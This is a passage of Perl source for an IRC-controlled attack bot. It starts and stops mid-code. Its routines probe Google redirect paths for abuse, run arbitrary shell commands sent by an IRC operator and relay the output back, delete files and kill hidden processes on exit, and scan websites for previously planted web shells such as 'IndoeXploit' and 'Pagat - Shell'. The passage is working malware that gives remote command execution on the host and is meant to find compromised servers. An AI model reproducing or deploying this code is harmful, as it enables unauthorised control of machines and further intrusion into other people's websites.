/DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IL => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAT){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleHU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.HU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCOM){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.COM => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleORG){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.ORG => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIT){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleLV){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.LV => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleINFO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.INFO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleMX){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.MX => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePL){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PL => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBG){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BG => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUS){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.US => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNET){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NET => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleTR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.TR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleSK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.SK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCA){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CA => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleHR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.HR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCL){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CL => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUA){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.UA => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleDK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.DK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBIZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BIZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIN){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IN => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleTH){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.TH => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCN){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CN => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleKR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.KR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleHK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.HK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleVN){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.VN => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleLT){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.LT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleSG){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.SG => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleTV){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.TV => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCH){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CH => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleWS){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.WS => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleGR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.GR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleFI){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.FI => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePT){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleEE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.EE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBY){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BY => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePY){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PY => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleTW){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.TW => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleES){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.ES => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleVE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.VE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCC){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CC => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNL){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NL => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleSE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.SE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePA){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PA => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleEU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.EU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleLU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.LU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleME){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.ME => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUY){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.UY => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleMD){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.MD => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBD){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BD => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleRS){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.RS => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBA){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BA => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCY){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CY => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleDZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.DZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNP){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NP => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUG){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.UG => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNG){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NG => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePH){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PH => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleMK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.MK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GooglePK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.PK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleKH){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.KH => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIS){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IS => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleSI){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.SI => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleSV){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.SV => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleHN){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.HN => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleGE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.GE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.INT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleTO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.TO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.IO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleEDU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.EDU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleXYZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.XYZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleNAME){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.NAME => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCAT){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CAT => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AO => 14http://".$gosite.$gopath.""); } } &message($admin,"![3~]! Checking all bypass Finished!"); } ##[ BUKAURL VIA PC ]## sub Query(){ my($link, $timeout, $cookie)=@_; if($timeout == ""){ my $timeout = 10; } my $req=HTTP::Request->new(GET=>$link); my $ua=LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); if($cookie == 1){ $ua->cookie_jar(HTTP::Cookies->new(file => $cookietmp, autosave => 1,)); } $ua->agent($User_Agent[rand(scalar(@User_Agent))]); $ua->timeout($timeout); my $response=$ua->request($req); return $response->content; } ##[ BUKAURL VIA HP ]## sub Hape(){ my($link, $timeout, $cookie)=@_; if($timeout == ""){ my $timeout = 10; } my $req=HTTP::Request->new(GET=>$link); my $ua=LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->agent($Mobi_Agent[rand(scalar(@Mobi_Agent))]); if($cookie == 1){ $ua->cookie_jar(HTTP::Cookies->new(file => $cookietmp, autosave => 1,)); } $ua->timeout($timeout); my $response=$ua->request($req); return $response->content; } ##[ SUBKEY ]## sub Key(){ my $key=$_[0]; $key =~ s/ /\+/g; $key =~ s/:/\%3A/g; $key =~ s/\//\%2F/g; $key =~ s/&/\%26/g; $key =~ s/\"/\%22/g; $key =~ s/\\/\%5C/g; $key =~ s/,/\%2C/g; $key =~ s/\[/\%5B/g; $key =~ s/\]/\%5D/g; $key =~ s/\?/\%3F/g; $key =~ s/\=/\%3D/g; $key =~ s/\|/\%7C/g; return $key; } ##[ SUB URL CODE ]## sub urlencode { my $s = shift; $s =~ s/ /+/g; $s =~ s/([^A-Za-z0-9\+-])/sprintf("%%%02X", ord($1))/seg; return $s; } sub urldecode { my $s = shift; $s =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg; $s =~ s/\+/ /g; return $s; } ##[ AMBILSITUS ]## sub GetLink(){ my @file = ( "Google.txt", "Yahoo.txt", "Baidu.txt", "SNZ.txt", "Ecosia.txt", "Bypass.txt", "Bingdom.txt", "Bing.txt", "Dogpile.txt", "WOW.txt", "Teoma.txt", "MWS.txt", "Googledom.txt", "Search.txt", "Sougou.txt", "Yahoos.txt", "Seznam.txt", "Kvasir.txt", "Najdi.txt", "Interia.txt", "Lycos.txt", "Lookseek.txt", "ASK.txt", "Lexis.txt", "XXX.txt", ); my $link; my @total; foreach my $n (@file){ open(F,'<', $n); while($link = ){ $link=~s/[\r\n]//g; push(@total, $link); } close(F); } return(@total); } ##[ HAPUS ]## sub Remove(){ my @file = ( "Google.txt", "Yahoo.txt", "Baidu.txt", "SNZ.txt", "Ecosia.txt", "Bypass.txt", "Bingdom.txt", "Bing.txt", "Dogpile.txt", "WOW.txt", "Teoma.txt", "MWS.txt", "Googledom.txt", "Search.txt", "Sougou.txt", "Yahoos.txt", "Seznam.txt", "Kvasir.txt", "Najdi.txt", "Interia.txt", "Lycos.txt", "Lookseek.txt", "ASK.txt", "Lexis.txt", "XXX.txt", ); foreach my $n (@file){ system("rm -rf ".$n); system("REMOVE ".$n); } } ##[ SITUS ]## sub Links(){ my($link, $file_print)=@_; $link=~s/http:\/\///g; $link=~s/https:\/\///g; my $host = $link; my $host_dir = $host; my @links; $host_dir=~s/(.*)\/[^\/]*$/\1/; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host_dir=&End($host_dir); $host=&End($host); $link=&End($host); push(@links, $link, $host, $host_dir); open($file,'>>', $file_print); print $file "$link\n$host_dir\n$host\n"; close($file); return @links; } ##[ HAPUS DUPLIKAT SLASH ]## sub End(){ $string=$_[0]; $string.="/"; $string=~s/\/\//\//; while($string=~/\/\//){ $string=~s/\/\//\//; } return($string); } ##[ UNIQUE ]## sub Unique(){ my @Unique = (); my %seen = (); foreach my $element (@_){ next if $seen{$element}++; push @Unique, $element; } return @Unique; } sub Clean(){ my @Clean = (); my %seen = (); foreach my $element (@_){ next if $seen{$element}++; push @Clean, $element; } return scalar(@Clean); } ##[ DORK WRITE OR CHECK ]## sub ReadLogs(){ my $file = $_[0]; my $dork = uri_escape($_[1]); my $success = 0; open(BACA, "<$file"); while(my $baca=){ chop($baca); if($baca =~ /^$dork/i){ $success = 1; } } close BACA; return $success; } sub WriteLogs(){ my $file = $_[0]; my $dork = uri_escape($_[1]); open(TULIS, ">>$file"); print TULIS $dork."\n"; close TULIS; } ##[ KIRIMAN ]## sub message(){ my($who, $msg)=@_; &cmdraw("PRIVMSG ".$who." :".$msg); } sub isAdmin() { my $status = 0; my $nick = $_[0]; if($nick eq $admin) { $status = 1; } return $status; } sub nickx(){ my($nickz)=@_; &cmdraw("NICK ".$nickz); } sub joinx(){ my($chanx)=@_; &cmdraw("JOIN ".$chanx); } sub partx(){ my($chanx)=@_; &cmdraw("PART ".$chanx); } sub cmdraw(){ my($rawcmd)=@_; print $sock "".$rawcmd."\r\n"; } sub mati(){ my($quits)=@_; &Remove(); &cmdraw("QUIT :Dicks Looking for Cunts"); $out = 1; system("ps x | grep '$hideps' | cut -d '?' -f 1 | xargs kill -9"); exit; } sub shellcmd() { my($comando)=@_; chop $comando; my $maxline = 5; if($comando =~ /cd (.*)/){ chdir($1) || &message($admin,"![4X]! Can not change directory"); return; } elsif($pid=fork){ waitpid($pid, 0); } else{ if(fork){ exit; } else{ my @perintah = `$comando 2>&1 3>&1`; my $i = 0; foreach my $hasil (@perintah){ $i++; chop $hasil; &message($admin, $hasil); if($i == "$maxline"){ $i = 0; sleep 3; } } exit; } } } ##[ GOOGLEDOMS ]## sub GoogleDomains(){ my @ret = ( "ae", "com.af", "com.ag", "off.ai", "am", "com.ar", "as", "at", "com.au", "az", "ba", "com.bd", "be", "bg", "bi", "com.bo", "com.br", "bs", "co.bw", "com.bz", "ca", "cd", "cg", "ch", "ci", "co.ck", "cl", "com.co", "co.cr", "com.cu", "de", "dj", "dk", "dm", "com.do", "com.ec", "es", "com.et", "fi", "com.fj", "fm", "fr", "gg", "com.gi", "gl", "gm", "gr", "com.gt", "com.hk", "hn", "hr", "co.hu", "co.id", "ie", "co.il", "co.im", "co.in", "is", "it", "co.je", "com.jm", "jo", "co.jp", "co.ke", "kg", "co.kr", "kz", "li", "lk", "co.ls", "lt", "lu", "lv", "com.ly", "mn", "ms", "com.mt", "mu", "mw", "com.mx", "com.my", "com.na", "com.nf", "com.ni", "nl", "no", "com.np", "nr", "nu", "co.nz", "com.om", "com.pa", "com.pe", "com.ph", "com.pk", "pl", "pn", "com.pr", "pt", "com.py", "ro", "ru", "rw", "com.sa", "com.sb", "sc", "se", "com.sg", "sh", "sk", "sn", "sm", "com.sv", "co.th", "com.tj", "tm", "to", "tp", "com.tr", "tt", "com.tw", "com.ua", "co.ug", "co.uk", "com.uy", "uz", "com.vc", "co.ve", "vg", "co.vi", "com.vn", "vu", "ws", "co.za", "co.zm" ); return(@ret); } ##[ DOMAIN ]## sub SiteDomains(){ my @dom = ( "com", "net", "org", "uk", "info", "co", "pro", "edu", "gov", "cat", "biz", "name", "me", "de", "nl", "dk", "jp", "it", "be", "ru", "fr", "hu", "ro", "za", "mx", "br", "cz", "by", "pl", "pt", "id", "se", "ua", "il", "cl", "es", "sk", "no", "ph", "au", "eu", "tr", "us", "ve", "in", "at", "ch", "bg", "hk", "su", "ar", "kr", "th", "tw", "kh", "hr", "cr", "pe", "cn", "ir", "ca", "vn", "py", "lt", "lv", "nz", "fi", "si", "bg", "tv", "cc", "pk", "my", "cn", "az", "ee", "ae", "sg" ); } sub backdoorCheck { my ($site,@path) = @_; my @result = ("false"); my $url; my $safe; my $os; my $siteUrl; my $key = 0; foreach my $path(@path) { if($path =~ /\+/) { my @part = split(/\+/,$path); $url = "http://".$site.$part[0]."?".$part[1]; $siteUrl = "http://".$site.$part[0]; } else { $url = "http://".$site.$path; $siteUrl = "http://".$site.$path; } my $check = &get_content($url); sleep(3); if($check =~ m/SAFE_MODE/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/ig){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } if($check =~ m/Pagat - Shell/ig or $check =~ m/Uname/ig or $check =~ /Pagat - Shell/ig){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } if($check =~ m/BArNEr/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/BArNEr/ig or $check =~ m/Uname/ig or $check =~ /BArNEr/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/roin - exploit/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/Pagat IndoeXploit/ or $check =~ m/Uname/ig or $check =~ /Pagat IndoeXploit/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/GIF89a/ or $check =~ m/Uname/ig or $check =~ /Touched By zE/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/ramzkie is here/ or $check =~ m/Uname/ig or $check =~ /ramzkie is here/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/post\>Password:/ or $check =~ m/Uname/ig or $check =~ /post\>Password:/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/Touched By Silk/ or $check =~ m/Uname/ig or $check =~ /Touched By Silk/i){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : 